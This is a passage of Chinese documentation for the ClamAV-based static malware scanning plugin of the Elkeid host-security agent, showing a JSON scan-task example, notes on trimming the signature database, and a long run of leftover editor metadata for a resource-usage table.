class="code-snippet__string">&#34;33623333-3365-4905-b417-331e183333ff&#34;</span></span></code><code><span class="code-snippet_outer">    ],</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;data&#34;</span>: {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">&#34;task&#34;</span>: {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">&#34;data_type&#34;</span>:<span class="code-snippet__number">6053</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;scanner_clamav&#34;</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">&#34;data&#34;</span>: <span class="code-snippet__string">&#34;{\&#34;exe\&#34;:\&#34;/path/to/target\&#34;}&#34;</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><pre style="text-align: left;"><br/></pre><p style="text-align: left;">字段 data 为给插件下发的扫描任务 json string，其中，exe 为待扫描的文件绝对路径，exe、data_type 以外的所有字段会 插入/覆盖（如果已经存在）到命中规则后上报的数据中。例，如果需要在上报的数据中插入预定义的sid，则需要变更如下：</p><pre style="text-align: left;"></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;id_list&#34;</span>: [</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;33623333-3365-4905-b417-331e183333ff&#34;</span></span></code><code><span class="code-snippet_outer">    ],</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;data&#34;</span>: {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">&#34;task&#34;</span>: {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">&#34;data_type&#34;</span>:<span class="code-snippet__number">6053</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;scanner_clamav&#34;</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">&#34;data&#34;</span>: <span class="code-snippet__string">&#34;{\&#34;exe\&#34;:\&#34;/path/to/target\&#34;,\&#34;sid\&#34;:42414236}&#34;</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><pre style="text-align: left;"><p><br/></p><p><code><br/></code></p></pre><h2 style="text-align: left;"><strong><span style="font-size: 18px;">5. database 说明</span></strong></h2><p style="text-align: left;">完整的 clamav database 中包含六百万以上样本数据，加载需要 2G 以上内存使用，且 clamav database 中大部分规则类型为：文件 hash 校验、Section hash 校验，以及大量的 windows 相关病毒规则。在 Linux 服务端的场景下，windows pe 等无关的病毒规则可以裁剪掉，此外 hash 校验部分则可以在扫描时提取对应特征，随 agent 数据流到后端统一验证。裁剪后的 database 再配合低频率的扫描任务，这样可以大幅减少静态检测在端上的内存和 CPU 资源资源占用。</p><p style="text-align: left;">clamav 数据库支持 yara 格式（但有一些限制），且数据库文件支持自定义，详细格式以及数据库定义规则请参考 <span style="color: rgb(0, 122, 170);"><a href="https://docs.clamav.net/manual/Signatures.html。" target="_blank">https://docs.clamav.net/manual/Signatures.html。</a></span></p><p style="text-align: left;"><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;840177ed-6de9-4cd3-a3dc-7895d71bbb42&#34;,&#34;rootId&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;parentId&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;start&#34;:5,&#34;end&#34;:41,&#34;blockIds&#34;:[7,8,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,76,77,96,97,104,105,106,107,108,109,180,181,110],&#34;recordIds&#34;:[&#34;doxcnWomQKGyKwwSQ85haJhYwgf&#34;,&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;doxcnekgoosO0eSK2KGv51SJJoh&#34;,&#34;doxcnsik2UmMGSU4ysVBOHllj3f&#34;,&#34;doxcnoiaGwsSIssAUkTeKVxwf2f&#34;,&#34;doxcniEyagY266cWA4KeudN0YMd&#34;,&#34;doxcnM8IoeMw8e0my0CBNsMszXe&#34;,&#34;doxcnAciQK8WSmaiEugIikcFjwc&#34;,&#34;doxcn642QUMWWO6Y84naA1cPLpb&#34;,&#34;doxcnMQ0guCks0sG4LUdX7nZSC7&#34;,&#34;doxcnuoqs86K0a8eMhIUTgZbjdq&#34;,&#34;doxcneOWkko0AgAmWcXiT8eTfvc&#34;,&#34;doxcnuqWcCAa6muUS1zrUyCPUOp&#34;,&#34;doxcneym6eCOwA0oiEpZBBvnyib&#34;,&#34;doxcnygEEIaUMOAqQ23YLL24K6d&#34;,&#34;doxcnegwqqEC4ykyY8hi3GLhkPd&#34;,&#34;doxcnkyGWg8AAW0CC8v5zGEp3vB&#34;,&#34;doxcnakmuEG8Qe42go1rphYUy8f&#34;,&#34;doxcnOQs2YQ2yym2giYTVgH3kkf&#34;,&#34;doxcns0EK8Iw02wmISAq9YkaMlc&#34;,&#34;doxcnssmyw088GGkuOIbOCDUdDe&#34;,&#34;doxcnMWy6kiSaEiwIS8xAzNvH3b&#34;,&#34;doxcnIMgcMC06UK8ccBRXfZk08f&#34;,&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;doxcn8cOoeu8kUCweAEDWNKPm20&#34;,&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;doxcne0g4yiaeMqm6iCklCTiSke&#34;,&#34;doxcnkIao40WG4Y6MOqGxWfZVYc&#34;,&#34;doxcnsMC8OQkO6OQaSitz6soPah&#34;,&#34;doxcnq2oewiIAsyYkymNbjMNWic&#34;,&#34;doxcnIgKC2oWYgkQsaAp5hcDepg&#34;,&#34;doxcnkieuywEmIGuGrSUMDf0kwl&#34;,&#34;doxcnQIoW6UAeec0GYVRUu4EOzc&#34;,&#34;doxcnIwE4G6y6mO0ozn24f3AUMs&#34;,&#34;doxcncKK48ewmoyoI4pdHhBA4Mg&#34;,&#34;doxcnSQ4Se2ECIciykpQ7zMMFHS&#34;,&#34;doxcn8YGiwYgaEca2QlThvln6wg&#34;],&#34;recordMap&#34;:{&#34;doxcnWomQKGyKwwSQ85haJhYwgf&#34;:{&#34;id&#34;:&#34;doxcnWomQKGyKwwSQ85haJhYwgf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;8b3843bd-edd3-4ff4-8fcd-9d4bca04e6b0\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7090017492916649987\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;0320a4e2-1132-44e2-91d8-2fcb13e7215b\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_36380126\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2*1*0+6*0+1y*2*0+4*0+1w&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;在 Elkeid 的 agent 中，静态检测插件需要在极其有限的内存和CPU资源占用条件下，在不同发行版和内核版本的  Linux x64 架构系统上进行静态扫描，因此使用完全静态链接的 libclamav 库以及裁剪后的 clamav database 与 yara 规则实现。资源占用数据如下：&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false,&#34;text_indent&#34;:1}},&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;:{&#34;id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;table&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;columns_id&#34;:[&#34;col26b893a7-f54a-4821-9e81-5bed8ffb8aa8&#34;,&#34;colcd114145-1eed-4eb4-b928-c77df53d6ee0&#34;,&#34;cold917a0b6-36f8-4b42-8b83-17efea924eb7&#34;],&#34;rows_id&#34;:[&#34;rowcd9ef27a-93bc-4eea-b8e0-6cea6f2dd091&#34;,&#34;row7180683b-fd75-4ca2-93eb-b3c5eb2d9a32&#34;,&#34;row59211399-47fe-4a73-bc7d-83682874a2a9&#34;,&#34;row4511e007-0b41-428e-841b-bbd63708f12b&#34;,&#34;row671cc6b9-d204-45e4-aec2-108a7a69fb7b&#34;,&#34;row59864abc-61d4-444e-8f30-cffee74f926d&#34;,&#34;rowd21dcb2b-4cb8-47b7-8793-b97dad960f8a&#34;,&#34;row883ec608-9e11-4f10-9fe1-1be46f8c9ace&#34;,&#34;row83023f30-7731-4a35-88d1-0794a63bd8ee&#34;],&#34;column_set&#34;:{&#34;col26b893a7-f54a-4821-9e81-5bed8ffb8aa8&#34;:{&#34;column_width&#34;:170},&#34;colcd114145-1eed-4eb4-b928-c77df53d6ee0&#34;:{&#34;column_width&#34;:153},&#34;cold917a0b6-36f8-4b42-8b83-17efea924eb7&#34;:{&#34;column_width&#34;:145}},&#34;cell_set&#34;:{&#34;row4511e007-0b41-428e-841b-bbd63708f12bcol26b893a7-f54a-4821-9e81-5bed8ffb8aa8&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnwEmIWCKk0CKkSiQyMke3vc&#34;},&#34;row4511e007-0b41-428e-841b-bbd63708f12bcolcd114145-1eed-4eb4-b928-c77df53d6ee0&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnMSKciSeew8CgwVDYJANHq7&#34;},&#34;row4511e007-0b41-428e-841b-bbd63708f12bcold917a0b6-36f8-4b42-8b83-17efea924eb7&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnO88yCMWEOk8scdFwyTrn6c&#34;},&#34;row59211399-47fe-4a73-bc7d-83682874a2a9col26b893a7-f54a-4821-9e81-5bed8ffb8aa8&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnQKcQk2ciw6SkQtpBmYC4of&#34;},&#34;row59211399-47fe-4a73-bc7d-83682874a2a9colcd114145-1eed-4eb4-b928-c77df53d6ee0&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnGOQ0A2aAOwAa8l8PzLlmif&#34;},&#34;row59211399-47fe-4a73-bc7d-83682874a2a9cold917a0b6-36f8-4b42-8b83-17efea924eb7&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnU42mOeaOacIaITMmAjDQXc&#34;},&#34;row59864abc-61d4-444e-8f30-cffee74f926dcol26b893a7-f54a-4821-9e81-5bed8ffb8aa8&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnAEw0yQa6oGWUiyeocDq9CH&#34;},&#34;row59864abc-61d4-444e-8f30-cffee74f926dcolcd114145-1eed-4eb4-b928-c77df53d6ee0&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnciw2KUWA2gCamska1RI64g&#34;},&#34;row59864abc-61d4-444e-8f30-cffee74f926dcold917a0b6-36f8-4b42-8b83-17efea924eb7&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnWMk68Ew6QuQuQ9oVEEuX6g&#34;},&#34;row671cc6b9-d204-45e4-aec2-108a7a69fb7bcol26b893a7-f54a-4821-9e81-5bed8ffb8aa8&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcncKOkoG8eC0Ue8fOk8Yo6HI&#34;},&#34;row671cc6b9-d204-45e4-aec2-108a7a69fb7bcolcd114145-1eed-4eb4-b928-c77df53d6ee0&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnQ2qGsyoQ44A6YhD1ZxJKCg&#34;},&#34;row671cc6b9-d204-45e4-aec2-108a7a69fb7bcold917a0b6-36f8-4b42-8b83-17efea924eb7&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnwSc868YKysM6yQPNjgFFUg&#34;},&#34;row7180683b-fd75-4ca2-93eb-b3c5eb2d9a32col26b893a7-f54a-4821-9e81-5bed8ffb8aa8&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnIoEuyUeSMwmyKObHsNiYTc&#34;},&#34;row7180683b-fd75-4ca2-93eb-b3c5eb2d9a32colcd114145-1eed-4eb4-b928-c77df53d6ee0&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnugyEUuGGSe2Eqa0WhNCGUf&#34;},&#34;row7180683b-fd75-4ca2-93eb-b3c5eb2d9a32cold917a0b6-36f8-4b42-8b83-17efea924eb7&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnCwEUAcyWswAa2JyCXUeZUb&#34;},&#34;row83023f30-7731-4a35-88d1-0794a63bd8eecol26b893a7-f54a-4821-9e81-5bed8ffb8aa8&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcneQoUMCWekg2AemZLK1Y2kg&#34;},&#34;row83023f30-7731-4a35-88d1-0794a63bd8eecolcd114145-1eed-4eb4-b928-c77df53d6ee0&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnCsu4Soy6wsyeATaYfS86ig&#34;},&#34;row83023f30-7731-4a35-88d1-0794a63bd8eecold917a0b6-36f8-4b42-8b83-17efea924eb7&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnq4sKcy20aKMiI7lxCpRexf&#34;},&#34;row883ec608-9e11-4f10-9fe1-1be46f8c9acecol26b893a7-f54a-4821-9e81-5bed8ffb8aa8&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnWgK8kwgYcCoaU9R0E5zSqg&#34;},&#34;row883ec608-9e11-4f10-9fe1-1be46f8c9acecolcd114145-1eed-4eb4-b928-c77df53d6ee0&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnsEQsiQ24IK4cu0r47CjbMe&#34;},&#34;row883ec608-9e11-4f10-9fe1-1be46f8c9acecold917a0b6-36f8-4b42-8b83-17efea924eb7&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnWuAUAmUMe6IIKSvgCA3Sig&#34;},&#34;rowcd9ef27a-93bc-4eea-b8e0-6cea6f2dd091col26b893a7-f54a-4821-9e81-5bed8ffb8aa8&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcneu6GaeCy6OUisHQE00Erwe&#34;},&#34;rowcd9ef27a-93bc-4eea-b8e0-6cea6f2dd091colcd114145-1eed-4eb4-b928-c77df53d6ee0&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnmIss2ko8Y4SU0cZU69MbbO&#34;},&#34;rowcd9ef27a-93bc-4eea-b8e0-6cea6f2dd091cold917a0b6-36f8-4b42-8b83-17efea924eb7&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnG6o22qum4QCQspZRd7pKIe&#34;},&#34;rowd21dcb2b-4cb8-47b7-8793-b97dad960f8acol26b893a7-f54a-4821-9e81-5bed8ffb8aa8&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcn0SG24KACmoOmSa5KPgSAOg&#34;},&#34;rowd21dcb2b-4cb8-47b7-8793-b97dad960f8acolcd114145-1eed-4eb4-b928-c77df53d6ee0&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnUuMwgiSswSkKCYQiTb6pOe&#34;},&#34;rowd21dcb2b-4cb8-47b7-8793-b97dad960f8acold917a0b6-36f8-4b42-8b83-17efea924eb7&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnaAIeoY6W2k60IdkFNJX48b&#34;}}}},&#34;doxcneu6GaeCy6OUisHQE00Erwe&#34;:{&#34;id&#34;:&#34;doxcneu6GaeCy6OUisHQE00Erwe&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcniSMggkUkmGCmkF9P7v0N0c&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcniSMggkUkmGCmkF9P7v0N0c&#34;:{&#34;id&#34;:&#34;doxcniSMggkUkmGCmkF9P7v0N0c&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcneu6GaeCy6OUisHQE00Erwe&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+e&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Agent-插件占比 PCT&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnmIss2ko8Y4SU0cZU69MbbO&#34;:{&#34;id&#34;:&#34;doxcnmIss2ko8Y4SU0cZU69MbbO&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnC6C2sGeYQuS0x8ZSnNuYJ4&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnC6C2sGeYQuS0x8ZSnNuYJ4&#34;:{&#34;id&#34;:&#34;doxcnC6C2sGeYQuS0x8ZSnNuYJ4&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnmIss2ko8Y4SU0cZU69MbbO&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+9&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;CPU 单核百分比&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnG6o22qum4QCQspZRd7pKIe&#34;:{&#34;id&#34;:&#34;doxcnG6o22qum4QCQspZRd7pKIe&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcngK2QYKsaowam6vUykBdVnd&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcngK2QYKsaowam6vUykBdVnd&#34;:{&#34;id&#34;:&#34;doxcngK2QYKsaowam6vUykBdVnd&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnG6o22qum4QCQspZRd7pKIe&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+6&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;RSS Mb&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnIoEuyUeSMwmyKObHsNiYTc&#34;:{&#34;id&#34;:&#34;doxcnIoEuyUeSMwmyKObHsNiYTc&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnUI66KKak2I8MMFmR7EWUQf&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnUI66KKak2I8MMFmR7EWUQf&#34;:{&#34;id&#34;:&#34;doxcnUI66KKak2I8MMFmR7EWUQf&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnIoEuyUeSMwmyKObHsNiYTc&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;静默&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnugyEUuGGSe2Eqa0WhNCGUf&#34;:{&#34;id&#34;:&#34;doxcnugyEUuGGSe2Eqa0WhNCGUf&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnU06sgmIkYUWcewqPJ3KBsf&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnU06sgmIkYUWcewqPJ3KBsf&#34;:{&#34;id&#34;:&#34;doxcnU06sgmIkYUWcewqPJ3KBsf&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnugyEUuGGSe2Eqa0WhNCGUf&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+1&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;0&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnCwEUAcyWswAa2JyCXUeZUb&#34;:{&#34;id&#34;:&#34;doxcnCwEUAcyWswAa2JyCXUeZUb&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnO4KKmw4uAcgK8iCLmnP1Hc&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnO4KKmw4uAcgK8iCLmnP1Hc&#34;:{&#34;id&#34;:&#34;doxcnO4KKmw4uAcgK8iCLmnP1Hc&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnCwEUAcyWswAa2JyCXUeZUb&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;25.6&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnQKcQk2ciw6SkQtpBmYC4of&#34;:{&#34;id&#34;:&#34;doxcnQKcQk2ciw6SkQtpBmYC4of&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnUoCaC8kCUuUQOBDe3mtvPU&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnUoCaC8kCUuUQOBDe3mtvPU&#34;:{&#34;id&#34;:&#34;doxcnUoCaC8kCUuUQOBDe3mtvPU&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnQKcQk2ciw6SkQtpBmYC4of&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;50&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnGOQ0A2aAOwAa8l8PzLlmif&#34;:{&#34;id&#34;:&#34;doxcnGOQ0A2aAOwAa8l8PzLlmif&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcn8Ci0c4MeaOCiCYe56hJZbg&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcn8Ci0c4MeaOCiCYe56hJZbg&#34;:{&#34;id&#34;:&#34;doxcn8Ci0c4MeaOCiCYe56hJZbg&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGOQ0A2aAOwAa8l8PzLlmif&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[